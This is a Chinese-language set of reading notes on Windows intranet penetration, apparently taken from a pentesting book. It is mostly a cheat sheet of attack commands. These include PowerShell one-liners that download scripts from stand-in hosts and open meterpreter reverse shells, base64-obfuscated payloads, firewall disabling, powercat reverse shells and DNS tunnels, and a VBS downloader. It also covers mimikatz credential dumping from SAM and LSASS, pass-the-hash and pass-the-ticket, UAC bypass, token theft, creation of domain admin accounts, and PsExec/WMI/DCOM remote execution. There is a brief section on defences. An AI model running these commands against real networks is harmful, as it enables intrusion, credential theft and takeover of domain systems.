Intranet Attack Reading Notes
Intranet Attack Reading Notes
内网安全读书笔记
内网渗透测试基础
局域网(Local Area NetWork LAN)
工作组(Work Group)
域(Domain)
活动目录主要提供以下功能
账号集中管理
软件集中管理
环境集中管理
增强安全性(统一杀毒等)
更可靠、更短的宕机时间
- 安全域的划分
划分安全域的目的是将一组安全等级相同的计算机划入同一个网段。
网络访问控制策略(NACL) DMZ(隔离区)
- 主机平台常用工具
Kali LInux
Wce(windows平局管理器->列出登陆会话、添加修改列出和删除关联凭据(LM Hash、NTLM hash、明文密码和kerberos票据))
mimikatz
Responder(不仅用于嗅探网络内所有的LLMNR 和获取主机的信息、还提供多种渗透测试环境和场景、包括https、SMB、sql server、ftp、ldap、POP3等)
DSHash(从NTDSXtract中提取用户的易于理解的散列值)
Nishang
Empire
ps_encoder.py(使用base64编码封装的powershell命令包)
smbexec(使用Samba工具的快速Psexec类工具)
后门制造工厂
Veil
Cobalt Strike
Windows
nmap
wireshark
putty
sqlmap
burp
hydra
Getif(收集snmap设备信息)
Cain&&Abel(密码恢复工具、通过嗅探网络,破解加密密码,恢复无线网络密钥显示密码框、发现缓存中的密码、分析路由信息、恢复各种密码和凭据)
Powershell
Get-help/$PSVersionTable.PSVERSION 查看powershellb版本
Get-Executionpolicy 查看执行策略
Restricted 脚本不能运行默认
RemoteSigned 本地可以运行
Allsigned 当脚本由受信任的发布者签名时运行
Unrestricted 允许所有脚本运行
Set-ExecutionPolicy XX 设置执行策略
常用参数
-ExecutionPolicy Bypass (-Exec Bypass) 绕过执行安全策略 -WindowsStyle Hidden 隐藏窗口 -NonInteractive (-NonI) 非交互模式 -noexit 执行后不退出shell -NoLogo 启动不显示版权表示的powershell -enc 允许传入一个base64编码过的powershell脚本字符串作为参数
绕过本地权限并执行
Powershell.exe -ExecutionPolicy Bypass -File ./encpayload.ps1 命令行环境下绕过本地权限执行 powershell.exe -exec bypass -Command "& {import-Module C:\syst1m.ps1; Invoke-AllChecks}" 目标本地执行脚本
下载网络上脚本绕过本地权限执行
Powershell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet,WebClient).DownloadString("xxx.ps1");[Parameters] Powershell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet,WebClient).DownloadString("http://xxx.com/ps.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.1 -lport 80
使用base64混淆
echo "IEX(New-ObjectNet,WebClient).DownloadString("http://xxx.com/ps.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.1 -lport 80 -Force" >raw.txt chmod +x ps_encode.py ./ps_encode.py -s raw.txt Powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc xxxx
内网信息搜集
收集本机信息
ipconfig /all 获取本机网络配置信息
systeminfo | finder /B /C:"os Version" 操作系统和版本信息
echo %PROCESOR_ArCHITECTURE% 系统系统结构
wmic_product_get_name,version 结果输出到文本
Powershell.exe "Get-WmiObject -class Win32_Product | Select-Object -Property name,version" powershell收集
wmic service list brief 查询本机服务信息
tasklist 当前进程和进程用户
wmic process list brief 进程信息
wmic startup get command,caption 查看启动程序信息
schtasks /query /to LIST /V 查看计划任务
net statistics workstation 查看主机开机时间
net user 查看用户列表
net localgroup administrators 获取本地管理员信息
query user || qwinsta
netstat -ano 查询端口列表
systeminfo 查询补丁列表
wmic qfe get Caption,Descript,HotFixID,InstalledOn 查询补丁
net share 查询本机共享列表
wmic share get name,path,status
route print 查询所有可用接口的ARP缓存表
arp -a
查询防火墙相关配置
netsh firewall set opmode disable 关闭防火墙(03之前) netsh advfirewall set allprofiles state off(关闭防火墙 03之后) netsh firewall show config 查看防火墙配置 netsh firewall add allowedprogram c:\nc.exe "allow nc" enable(03之前允许指定程序全部连接) netsh advfirewall firewall add rule name="pass nc" dir=in action=allow programe="C:/nc.exe"(允许指定程序进入(03之后)) netsh advfirewall add rule name="Allow nc" dir=out action=allow program="c:\nc.exe"(03之后允许指定程序退出) netsh advifirewall firewall add rule name="Remote Desktop" protocol=Tcp dir=in localport=3389 action=allow 允许3389放行 netsh advifirewall firewall set currentprofile logging filename "C:\windows\temp\fw.log" 自定义防火墙日志存储位置
查看代理配置情况
reg query "HKEY_CURRENT_USER\Software\Microsoft\windows\CurrentVersion\Internet Setting" 查看127.0.0.1 1080端口情况
查询并开启远程连接服务
REG QUERY "HKEY_LOCAL_MACHINE|SYSTEM|CurrentControlSet\Control\TerminalServer|WinStation\RDP-TCP" /V PortNumber 查看远程连接端口 WMic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1 03开启3389
server08和12开启远程连接 Wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where call setallowtsconnections 1 Wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminaName='RDP-TCP') call setallowtsconnections 1 red add "HKLM\SYSTEM\CURRENT|CONTROLSET\CONTROL\TERMINAL SERVER" /V fSingleSessionPerUser /t REG_DWORD /d 0 /f
自动收集信息
http://www.fuzzysecurity.com/scripts/files/wmic_info.rar wmic脚本自动收集
Empire
usemoudle situational_awareness/host/winenum 本机用户、域组成员、密码设置时间、共享信息等 situational_awareness/host/computerdetails 模块包含了系统中所有有用的信息
查询当前权限
查询当前权限
whoami 查看当前权限 whoami /all 查询sid net user XXX /domain 查询指定用户信息
判断是否存在域
ipconfig /all
查看系统详细信息
systeminfo
查询当前登陆域及用户信息
net config workstation
判断主域
net time/domain
探测域内存活主机
NetBIOS
nbt.exe 192.168.1.1
ICMP
for /L %I in (1,255) Do @ping -W l -n 192.168.1.%I | findstr "TTL="
ARP
arp.exe -t 192.168.1.0/20 arp-scan工具 usemodule situational_awarencess/network/arpscan Empire powershell.exe -exec bypass -Command "& {Import-Moudle c:\arpsacan.ps1};Invoke-Arpscan -CIDR 192.168.1.0/20}" >> c:\log.txt Nishang中的Invoke-ARPScan.ps1
常规TCP/UDP
ScanLine
扫描域内端口
- telnet
- S扫描器
Metasploit
auxiliary/scanner.portscan/tcp
PowerSploit的INvoke-portscan.ps1脚本
powershell.exe -nop -exec -bypass -c "IEX(New-ObjectNet.Webclint).DownloadString('http:xxx.com/a.ps1');Invoke-Portscan"
Nishang的Invoke-PortScan模块
Invoke-Portscan -StartAddress 192.168.250.1 -EndAddredd 192.168.250.255 -ResolveHost
收集域内信息
net view /domain 查询域
net view /domain:HACKE
net group /domain 用户组列表
net group "domain computer" domain 查询所有域成员计算机列表
net accounte /domain 域密码策略
nltest /domain_trusts 域信任信息
查找域控制器
查看域控制器机器名
nltest /DCLIST:hacke
查看域控制器主机名
NSlookup -type=SRV _ldap._tcp
查看当前时间
net time /domain
查看域控制器组
net group "Domain Controllers" /domain
域控制器机器名
netdom query pdc
获取域内用户和管理员信息
查询所有域用户列表
net user /domain
获取域内用户的详细信息
wmic useraccount get /all
查看存在的用户
dsquery user
常用dsquery命令
dsquery computer 查找目录中的计算机 contact 联系人 subnet 子网 group 组 ou 组织单位 site 站点 server AD DC/LDS实例 user 用户 quota 配额规定 partition 分区 * 任何对象
查询本地管理员用户
net localgroup administrators
查询域管理员用户
net group "domain admins" /domain 域管理员用户 net group "ENterprise Admins" /domain 管理员用户组
定位域管理员
net session 看谁使用了本地资源
psloggedon.exe PVEFindADUser.exe netsess.exe hunter Netview PowerView
- psloggedon.exe
原理检查HKEY_USERS的key
下载地址
https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon
psloggedon [-] [-l] [-x] [computer|username]
psloggedon \\DC
PVEFindADUser.exe
下载地址 https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn
-current/-current['username'] 所有用户 -last/-last['username'] 最后登陆用户
PVEFindADUser.exe -current
netview.exe(绝大部分功能无需管理员权限)
下载地址 https://github.com/mubix/netview
netview.exe 参数
-f filename.txt 指定要提取主机列表的文件 -e filename.txt 指定要排除的主机名的文件 -o filename.txt 将所有输出重定向到指定的文件 -d domain 指定要提取主机列表的域 -g group 指定要锁搜的组名 -c 对已找到的共享目录/文件的访问权限进行检查
Nmap的nes脚本(无需管理员权限)
下载地址 https://nmap.org/nsedoc/scripts/smb-enum-sessions.html
PowerView
下载地址 https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
Invoke-StealthUserHunter Invoke-UserHunter
Empire
usemoudle situational_awareness/network/powerview/user_hunter
查找域管理员
本机检查
net group "Domain Admins" /domain 获取域管理员列表 tasklist /v 列出本机所有进程及进程用户
查询域控制器的域用户会话
net group "Domain Controllers" /domain 查询域控制器列表 net group "Domain Admins" /domain收集域管理员列表
收集所有活动域的会话列表
NetSess -h
交叉引用域管理员列表与活动会话列表
确定哪些IP地址有活动域令牌
1.域控制器列表dcs.txt 域管理员列表sessions.txt
FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h % i 2>null >sessions.txt && FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a
2.脚本
https://github.com/nullbind/Other-Projects/tree/master/GDA
查询远程系统中运行的任务(通过共享的本地管理员账户运行)
net group "Domain Admins" /domain 查询与管理员列表 目标域系统列表添加到ips.txt文件中 收集的域管理员列表添加到names.txt中 FOR /F %i (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL >output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n >NUL && echo [!] %n was found running a process on %i && pause
扫描远程系统的NetBIOS信息
域系统列表 ips.txt 域管理员列表 admins.txt for /F % i in (ips.txt) do @echo [+] Checking % i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n >NUL &&echo [!] %n was found logged into %i Nbtscan工具 for /F % i in (ips.txt) do @echo [+] Checking % i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n >NUL &&echo [!] %n was found logged into %i
域管理员模拟方法
- Incognito
PowerView
下载地址
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
Get-NetDomain 获取当前用户所在域的名称
Get-NetUser 获取所有用户的详细信息
Get-NetDomainController 获取所有域控制器的信息
Get-NetComputer 获取域内所有机器的详细信息
Get-NetOU 获取域中的OU信息
Get-NetGroup 获取所有域内组和组成员信息
Get-NetFileServer 根据spn获取当前域使用的文件服务器信息
Get-NetShare 获取域内所有的网络共享信息
Get-NetSession 获取指定服务器的会话
Get-NetRDPSession 获取服务器的远程连接
Get-NetProcess 获取远程主机的进程
Get-UserEvent 获取指定用户的日志
Get-ADObject 获取活动目录的对象
Get-NetGPO 获取域内所有的组策略对象
Get-DomainPolicy 获取域默认策略或控制器策略
Invoke-UserHUNter 获取域用户登陆的计算机信息以及该用户是否有本地管理员权限
Invoke-ProcessHunter 通过查询域内所有的机器进程找到特定用户
Invoke-UserEventHunter 根据用户日志查询某域用户登陆过哪些域机器
BloodHound
https://github.com/BloodHoundAD/BloodHound/releases/download/2.0.4/BloodHound-win32-x64.zip
sharphound获取BloodHound需要的信息
https://github.com/BloodHoundAD/BloodHound/blob/master/Ingestors/SharpHound.exe
SharpHound.exe -c all
敏感数据的防护
office
高版本office可通过ProcDump获取密码
隐藏通信隧道技术
隐藏通信隧道基础知识
判断内网连通性
ICMP
ping xxx.com/192.
TCP
nc -zv 192.168.1.7 80
http
curl baidu.com 80
DNS
nsllokup nslookup www.baidu.com ip
dig dig ww.baidu.com -A
代理情况
ping -n l -a ip
网络层隧道(ipv6、icmp)
IPV6
socat 6tunnel nt6tunnel
ICMP
关闭本地icmp应答 Sysctl -w net.ipv4.icmp_echo_ignore_all=1
icmpsh https://github.com/inquisb/icmpsh.git PingTunnel icmptunnel powershell icmp
传输层隧道技术(tcp、udp、常规端口转发)
lcx
目标机器 lcx.exe -slave 公网主机ip 4444 127.0.0.1 3389 vps lcx.exe -listen 4444 5555 本地端口转发 lcx -tran 53 目标主机ip地址 3389
netcat(nc)
PowerCat(nc的powershell版本)
导入
Import-Moudle powercat.ps1
nc正常连接PowerCat
目标 powercat -l -p 8080 -c cmd.exe -v 本地 netcat 192.168.130 8080 -vv
nc反向链接PowerCat
本地 nc -l -p 8888 -vv 目标 powercat -c 192.xxx.xxx.xxx -p 8888 -v -e cmd.exe
PowerCat DNS 隧道
安装dnscat cd dnscat2/server/ gem install bundler bundle install 服务端 ruby dnscat2.rb ttpowercat.test -e open --no-cache 目标机 powercat -c 192.xxx.xxx.xxx -p 53 -dns ttpowercat.test -e cmd.exe
PowerCat 生成payload
powercat -l -p 8000 -e cmd -v -g >> shell.ps1 上传 powercat -c 10.xxx.xxx.xxx -p 8080 -v 监听 编码 powercat -c xxx.xxx.xxx.xxx -p 9999 -ep -ge 监听 powercat -l -p 9999 -v
应用层隧道技术
ssh
ssh参数
-C 压缩传输、提高传输速度 -f 将ssh传输转入后台执行、不占用当前的shell -N 建立静默链接(建立了连接、但是看不到具体会话) -g 允许远程主机连接本地用于转发的端口 -L 本地端口转发 -R 远程端口转发 -D 动态转发(SOCKS代理) -F 指定ssh端口
本地转发
vps kali linux(192.168.1.4) web服务器(192.168.1.11/1.1.1.16) 数据库服务器(1.1.1.10) 域控制器(1.1.1.2) vps上 ssh -CfNg -L 1153(vps端口):1.1.1.10(目标主机):3389(访问端口) rdesktop 127.0.0.1:1153
远程转发
web可以访问外网 vps kali linux(1.1.1.4) web(1.1.1.200) 数据库(1.1.1.10) 域控制器(1.1.1.2) web服务器上执行 ssh -CfNg -R 3307(vps端口):1.1.1.10(目标主机):3389 root@192.168.1.4 rdesktop 127.0.0.1:3307
动态转发
vps kali linux(192.168.1.4) web服务器(192.168.1.11/1.1.1.16) 数据库服务器(1.1.1.10) 域控制器(1.1.1.2) ssh -CfNg -D 7000 root@192.168.1.11 浏览器设置代理
http/https协议
reGeorg
https://github.com/sensepost/reGeorg python reGeorgSocksProxy.py -u http://xxx:8080/tunne;.jsp -p 9999 proxyChains 代理访问
meterpreter
tunna
DNS
查看DNS的连通性
cat /etc/resoiv.conf|grep -v '#' 查询内部域名及IP地址 nslookup hacks.testlab 内部dns连通性 nklookup baidu.com 外部dns连通性
dnscat2(支持多个会话)
https://github.com/iagox86/dnscat2
部署域名解析
创建A记录 域名A记录指向vps服务器 创建ns记录(设置子域名dns服务器的) dnsch子域名解析结果指向域名
安装dnscat2服务端
sudo ruby ./dnscat2.rb vpn.xxx.com -e open -c syst1m.com --no-cache sudo ruby ./dnscat2.rb --dns server=127.0.0.1,port=533.type=txt --secret=syst1m.com
目标主机安装客户端
make install 编译 dnscat.exe --ping vpn.xxx.com 测试连通性 dnscat.exe --dns domain=vpn. --secret syst1m.com dnscat --dns server=ip,port=53,type=txt --secret=syst1m.com
powershell版本
https://github.com/lukebaggett/dnscat2-powershell IMport-Moudle .\dnscat2.ps1或者IEX(New-Object System.Net.Webclient).DownloadString('') 开启dnscat2-powershell服务 start-Dnscat2 -Domain vpn.xxx.com --DNSServer 1.x.x.x IEX加载脚本方式(内存中打开dnscat客户端) powershell.exe -nop -w hidden -c (IEX(New-Object System.Net.Webclient).DownloadString(''),start-Dnscat2 -Domain vpn.xxx.com --DNSServer 1.x.x.x)
参数
exec 打开程序 download 下载文件 help 帮助 clear清屏 delay 修改远程响应延时 shell 得到一个反弹shell kill 切断通道 listen 类似ssh -l参数 listen 0.0.0.0:53 192.168.1.1 3389 ping 用于确认机器是否在线 windows -i 连接某个通道
iodine(支持linux、mac、windows)
https://github.com/Al1ex/iodine
安装服务端
iodined -f -c -P syst1m 192.168.0.1 vpn.xxx.com -Dp
安装客户端
iodine -f -p syst1m vpn.xxx.com -M 200
使用dns隧道
mstsc 10.0.0.1:3389
SOCKS代理
EarthWorm
1.正向sockes5服务器 ew -s ssocked -l 888 2. 反弹sockes5服务器(公网vps) ew -e rcsocks -i 1080 -e 888 ew -s rssocks - d xxx.xxx.xxx.xxx -e 888 (内网web服务器)
reGeorg
sSocks
SocksCap64
Proxifier
ProxyChains
vi /etc/proxychains.conf cp /usr/lib/proxychains3/proxyresoly /usr/bin proxychains firefox
压缩数据
####RAR - 以rar格式压缩解压
压缩
rar.exe a -k -r- s -m3 E:\webs\1.rar E:|webs
解压
Rar.exe e E:\webs\1.rar
分卷压缩/解压
压缩 Rar.exe a -m0 -r -v20m E:\test.rar E:\API 解压 Rar.exe x E:\test.part01.rar e:\xl
####7-zip
普通压缩
压缩 7z.exe a -r -p12345 E:\webs\1.7z e:\webs 解压 7z.exe x -p12345 E:\webs\1.7z -oE:\x
分卷压缩
压缩 7z.exe -r -vlm -padmin a e:\test.7z E:\API 解压 7z.exe x -padmin E:\test.7z.001 -oE:\xl
上传和下载
Ftp上传
本地vps搭建ftp服务传输
VBS上传
1.输入命令 Set Post=CreateObject("Msxm12.XMLHTTP")>>downloads.vbs set shell = CreateObject("Wscript.Shell") Post.OPen "GET","http://server_ip/target.exe",0 Post.Send() Set aGet = CreateObject(ADODB.stream") aGet.Mode = 3 aGet.Type = 1 aGet.Open() aGet.Write(Post.responseBody) aGet.SaveToFile "c:\test\target.exe" 2.执行脚本 Cscript download.vbs
利用Debug上传(只支持小于64kb文件)
kali linix位置 /usr/share/windows-binaries
转为十六进制 wine exe2bat.exe ew.exe ew.txt
Nishang
exetotext.ps1
转换
.\ExetoText c:msf.exe c:msf.txt
下载并执行文本文件
Download_Execute http://xxx.xxx.xx.xx/msf.txt
- bitsadmin(xp之后自带)
- powershell下载
权限提升分析及防御
系统内核溢出漏洞提权
通过手动执行命令发现缺失补丁
- 补丁参考
whoami /groups 查看当前权限
systeminfo 查看补丁
Wmic qfe get Caption,Description,HotFixID,INstalledOn 列出已经安装的补丁
Caption,Description,HotFixID,INstalledOn | findstr /c:"KB3143141" /c:"KB316902" 查找指定补丁
MS16-032.ps1(KB3139914)
Invoke-MS16-032 -APPlication cmd.exe -Commandline "/c net user 1 1 /add" Invoke-MS16-032 -APPlication cmd.exe notpad.exe
利用meatsploit发现缺失补丁
post/windows/gather/enum_patches模块
Windows Exploit Suggester
1. systeminfo 获取补丁情况 2. ./windows-exploit-suggester.py --update 下载安全公告数据库 3. pip install xlrd -upgrade 安装xlrd模块 4. ./windows-exploit-suggester.py -d xx.xls -i patches.txt
local_exploit_suggester模块(识别系统中可能被利用的漏洞)
post/multi/recon/local_exploit_suggester
powershell中Sherlock脚本
Import-Moudle c:\Sherlock.ps1 Find-AllVulns
Cobalt Strike(3.6以后)
elevate ms14-058 smb
Windows操作系统配置错误利用
系统服务权限配置错误
下载地址
PowerUp https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
运行脚本
powershell.exe -exec bypass -Command "& (Import_Moudle .\PowerUp.ps1; Invoke-Allcheck)" powershell.exe -nop -exec bypass -c "IEX (New-Object Net.Webclient).DownloadString('http://xxx.com/PowerUp.ps1'); Invoke-Allcheck"
利用C#脚本添加用户(PowerUp的Install-ServiceBinary模块)
powershell.exe -nop -exec bypass IEX (New-Object Net.Webclient).DownloadString('c:\PowerUp.ps1');Install-ServiceBinary-ServiceName '服务名' -UserName syst1m -Password syst1m
重启系统生效
利用msf
service_permissions 模块 利用目标机器上的每一个有缺陷的服务
注册表键AlwayslnstallElevated
检测注册表键是否被设置
powershell.exe -nop -exec bypass IEX (New-Object Net.Webclient).DownloadString("c:/powerupps1");Get-RegisterAlwaysInstallElevated
生成MSI文件
Write-UserAddMSI
普通权限运行MSi文件
可信任服务路径漏洞
检测漏洞
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v """
检测是否有可写权限
icacls everyone 完全控制权限(所有用户都有修改这个文件的权限) M 修改 F 完全控制 CI 丛属容器将继承访问控制项 OI 从属文件将继承访问控制项
重启服务
恶意文件重命名上传 sc stop service_name sc start service_name
MSF模块
exploit/windows/local/trusted_service_path set AutoRunScript migrate -f 自动迁移
自动安装配置文件
可能包含用户名密码
搜索配置文件
dir /b /s c:\Unattend.xml
msf post/windows/gather/enum_unattend
计划任务
查看计划任务
schtasks /query /fo LIST /v
AccessChk
http://technet.microsoft.com/ZH-cn/sysinternals/bb664922
accesschk “username” c:\windows\system32 查看username用户对c:\windows\system32目录的操作权限 找出某个驱动器下所有权限配置有缺陷的文件夹路径 accesschk.exe–uwdqsUsersc: accesschk.exe–uwdqs"AuthenticatedUsers"c: 找出某个驱动器下所有权限配置有缺陷的文件路径 accesschk.exe–uwqsUsersc:*.* accesschk.exe–uwqs"AuthenticatedUsers"c:*.* accesschk.exe -uwcqv "Power Users" * 获取可以操作的服务名称信息 sc qc kdc查询kdc服务详细信息 查看某个服务的权限设置 accesschk -cv [service name]
Empire
查找系统中的漏洞
usemoudle privesc/powerup/allchecks
excute
组策略首选项提权
SYSVOL
用来存放登陆脚本、组策略数据以及其他域控制器需要的域信息等 C:\Windows\SYSVOL\DOMAIN\Policics
常见组策略首选项(GPP)
映射驱动器(Drivers.xml) 创建本地用户 数据源(DataSources.xml) 打印机配置(Printers.xml) 创建/更新服务(Services.xml) 计划任务(ScheduledTasks.xml)
组策略首选项提权
创建组策略
手动更新组策略 gpupdate
获取组策略凭据
手动查找cpassword
type \\dc\sysvol\pentest.com\Policies\{31B2F340-016D-11D2-945F-00c04FB984F9}\MACHINE\Perferences\Group\Groups.xml 解密 python gpprefdecryp.pt 密文
使用PowerShell获取cpassword
Get-GPPPassword.ps1
Metasploit
post/windows/gather/credentials/gpp
Empire
usemoudle privsec/gpp
BypassUAC(用户账户控制)
bypassuac模块
exploit/windows/local/bypassuac
Runas模块
exploit/windows/local/ask 弹窗,点击反弹shell
Nishang中的Invoke-PsUACme模块
Invoke-PsUACme -Verbose 使用sysprep方法并执行默认payload Invoke-PsUACme -method oobe -Verbose 使用oobs方法并执行默认payload Invoke-PsUACme -method oobe -payload "powershell -windiwstyle hidden -e YourEncodePayload" 使用-payload参数自行指定要执行的payload
Empire bypassuac模块
1.usemoudle privesc/bypassuac
2.bypassuac_wscript模块 只适用于win7
令牌窃取
令牌分类
Delegation Tokens 授权令牌 支持交互 Impersonation Tokens 非交互式
令牌窃取
拥有meterpreter shell
use incognito
list-tokens -u 列出可用令牌
impersonate_token 主机名\\用户名 假冒用户
Rotten Potato(快速模拟令牌)
https://github.com/foxglovesec/RottenPotato.git
use incognito list-tokens -u 列出可用令牌 upload exe execute -HC -f rottenpotato.exe impersonate_token "NT AUTHORITY\\SYSTEM"
添加域管理员
cmd
net user shuteer abc123 /ad /domain net group "domain admins shuteer /ad /domain" net group "domain_admins" /domain
meterpreter
add_user shuteer abc123 -h 1.1.1.2 add_group_user "Domain Admins" shuteer -h 1.1.1.2
Empire下的令牌窃取
1.creds
查看密码
creds 查看列出来的密码
窃取令牌
pth ID (ID为credID)
查看当前进程是否有域用户进程窃取
ps 查看进程 steal_token 12004 获取令牌 revtoself 恢复令牌权限
无凭证条件下的权限获取
Responder
https://github.com/SpiderLabs/Responder.git
域内横向移动分析及防御
常用windows远程连接和相关命令
IPC
建立ipc连接
net use \\192.168.100.190\ipc$ "Aa123456@" /user:administrator
ipc$利用条件
(1)开启了135、445端口 (2)管理员开启了默认共享
ipc$失败原因
(1)用户名密码错误 (2)目标没有打开ipc$默认共享 (3)不能连接135、445端口 (4)命令输入错误
使用windows自带工具获取远程主机信息
dir命令
dir
tasklist
tsklist 列出进程
计划任务
at(08之前)
1.net time \\192.168.100.190 2.copy calc.bat \\192.168.100.190\c$ 3.at \\192.168.100.190 4:11pm c:\calc.bat 4.at \\192.168.100.190 7 /delete 执行命令 at \\192.168.100.190 4:41pm cmd.exe \c "ipconfig>c:/1.txt" type \\192.168.100.190\c$\1.txt
schtasks(08之后)
schtasks /create /s 192.168.100.190 /tn /test /sc onstat /tr c:\calc.bat /ru system /f 创建计划任务(test 计划任务名字 启动权限为system) schtasks /run /s 192.168.100.190 / i /tn "test" 运行计划任务 schtasks /delect /s 192.168.100.190 /tn "test" /F 删除计划任务 net use 名称 /del /y 删除ipc$
windows系统散列值获取
单机密码抓取
- GetPass
- PwDump7
QuarksPwDump
QuarksPwDump.exe --dump-hash-local
通过SAM和system文件抓取密码
导出SAM和System文件
reg save hklm\sam sam.hive reg save hklm\system system.hive
读取SAM和system文件获得NTLM Hash
mimikatz lsadump::sam /sam:sam.hive /system:system hive
mimikatzz直接读取本地SAM
privilege::debug lsadump::sam
使用mimikatz在线读取SAM文件
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
使用mimikatz离线读取lsass.dmp文件
导出lsass.dmp文件
procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz导出散列值
sekurlsa::minidump lsass.DMP 加载文件 sekurlsa::logonPasswords full 导出密码散列
Powershell
Nishang Get-PassHashes.ps1
Import-Moudle .\Get-PassHashes.ps1 GetPassHashs
powershell远程加载mimikatz获取散列值
使用Hashcat获取密码
下载
make make install ./hashcat -h
Hashcats使用
hashcat -b 测试当前机器基准速度 -m 指定散列值 -a number 破解模式 hashcat -a 0 -m xx <hashfile> <zidian> <zidian2>
破解Windows散列值
hashcat -m 1000 -a 0 -o winpassok.txt win.hash password.lst --username
破解 WIFI握手包
aircrack-ng <out.cap> -J <out.hccap> hashcat -m 2500 out.hccap dict.txt
防御攻击者抓取明文密码
设置Active Directory 2012 R2功能级别
Protected User 添加<-组
安装KB2871997
安装补丁 禁用Administrator账号
修改注册表
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 修改 reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential 查询
防止mimikatz抓密码
删除拥有debug权限的本地管理员从Administrator组中
哈希传递攻击
哈希传递攻击
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:pentest.com /ntlm:D(Fxxxxxx"
使用AES-256哈希传递
(1)抓取AES-256密钥 mimikatz "privilege::debug" "sekurlsa::ekeys" (2)哈希传递 mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:pentest.com /aes256:2381fXXXX"
票据传递攻击
mimikatz (1)导出票据 mimikatz "privilege::debug" "sekurlsa::tickets /export" kerberos::purge 清除票据 mimikatz "kerberos::ptt "c:\ticket.kirbi" 注入票据
kekeo票据传递 https://github.com/gentilkiwi/kekeo kekeo "tgt:ask /user:administrator /domain:pentest.com /ntlm:D9F9xxxx" 生成票据 klist purge 清除票据 kerberos::ptt TGT_administrator@PENTST>COM_krbtgt.com@PENTEST.COM>kirbi
PsExec使用
psTools
https://download.sysinternals.com/files/PSTools.zip
Sysyem权限的shell(-s)
PsExec.exe -accepteula \\192.xxx.xxx.xxx -s cmd.exe
Administrator权限的
Psexec.exe -accepteula \\192.xxx.xxx.xxx cmd.exe
账号密码远程连接
psexec \\192.xxx.xxx.xxx -u administrator -p Aa123456 cmd.exe
metasploit中的psexec
exploit/windows/smb/psexec
exploit/windows/smb/psexec_psh(powershell版本)
WMI使用
基本命令
wmic /node:192.168.100.190 /user:administrator /password:Aa123456 process call create "cmd.exe /c ipconfig >ip.txt" type \\192.xxx.xxx.xx\c$\ip.txt
impacket中的wmiexec
wmiexec.py administrator:Aa123@192.xxx.xxx
wmiexec.vbs
cscript.exe //noiogo wmiexec.vbs /shell 192.xxx.xxx.xxx administrator Aa123456@ 半交互shell cscript.exe wmiexec.vbs /cmd 192.xxx administrator Aa123456 "ipconfig" -wait 5000 ping/systeminfo等时间较长的命令 -persist nc等不需要结果但需要运行的程序
Invoke-WmiCommand(powerSploit工具包)
$user= "pentest\administrator" $password = ConvertTo-SecureString -String "a123456" -AsPlainText -Force $Cred = New-Object -TypeName System.Management.Automation.PsCredential 远程执行命令 $Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $cred - CompuerName 192.xxxx 将执行结果输出到屏幕 $Remote.PayloadOutput
Invoke-WMIMethod(powershell自带)
$user= "pentest\administrator" $password = ConvertTo-SecureString -String "a123456" -AsPlainText -Force $Cred = New-Object -TypeName System.Management.Automation.PsCredential 远程启动计算器 Invoke-WMIMethod -Class win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.xxx.xx.xxx" -Credential $cred
永恒之蓝
auxiliary/scanner/smb/smb_ms17_010
smbexec使用
C++版smbexec
下载地址
https://github.com/sunorr/smbexec
使用
test.exe ipaddress username password command netshare
(1)上传execserver net use \\192.xxxx "Aa123" /user:pentest\adminidtrator cpoy execserver.exe \\192.xxx\c$\windows\ (2)客户端执行命令 test.exe 192.xxx.xxx.xxx administrator Aa123456 whoami c$
impacket工具包中的smbexec.py
smbexec.py
smbexec.py pentest/administrator:Aa123456@192.168.xxx.xxx
Linux跨windows远程执行命令
下载地址
https://github.com/brav0hax/smbexec
DCOM在远程系统中的使用(分布式组件对象模型)
本地DCOM执行命令
获取DCOM程序列表
Get-CimInstance Win32_DCOMApplication win12以上 Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication win7、08
使用DCOM执行任意命令
本地启动计算器 $com = [activator]::CreateINstance([type]::GetTypeFromProgiD("MMC20.Application",'127.0.0.1")) $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")
远程机器执行命令
net use \\192.168.100.205 "a123456" /user:pentest.com\syst1m $com = [activator]::CreateINstance([type]::GetTypeFromProgiD("MMC20.Application",'127.0.0.1")) $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")
SPN
SPN扫描
SPN
spn = serviceclass "/" hostname [":"port] ["/" servicename] MSSQLSvc/computer1.pentest.com:1433 exchageMDB/EXCAS01.pentest.com Exchange服务 TERMSERV /EXAS.pentest.com rdp WSMAN/ExCAS01.pentest.com
